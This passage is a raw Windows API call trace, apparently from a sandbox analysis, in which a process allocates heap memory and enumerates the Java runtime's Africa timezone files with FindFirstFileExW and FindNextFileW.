Size=0x80) returned 0x1250d58 [0088.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdd48 [0088.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251e58 [0088.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.470] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lome", cAlternateFileName="")) returned 1 [0088.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdd68 [0088.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251ee0 [0088.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.472] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luanda", cAlternateFileName="")) returned 1 [0088.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bdd88 [0088.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1251f68 [0088.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.473] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lubumbashi", cAlternateFileName="")) returned 1 [0088.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.474] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.474] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lusaka", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Malabo", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maputo", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maseru", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mbabane", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mogadishu", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monrovia", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nairobi", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ndjamena", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Niamey", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nouakchott", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ouagadougou", cAlternateFileName="")) returned 1 [0088.475] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Porto-Novo", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sao_Tome", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tripoli", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tunis", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windhoek", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windhoek", cAlternateFileName="")) returned 0 [0088.476] GetLastError () returned 0x12 [0088.476] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.476] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Abidjan", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accra", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Addis_Ababa", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Algiers", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asmara", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bamako", cAlternateFileName="")) returned 1 [0088.476] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bangui", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Banjul", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bissau", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blantyre", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brazzaville", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bujumbura", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cairo", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casablanca", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ceuta", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Conakry", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dakar", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dar_es_Salaam", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Djibouti", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Douala", cAlternateFileName="")) returned 1 [0088.477] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, 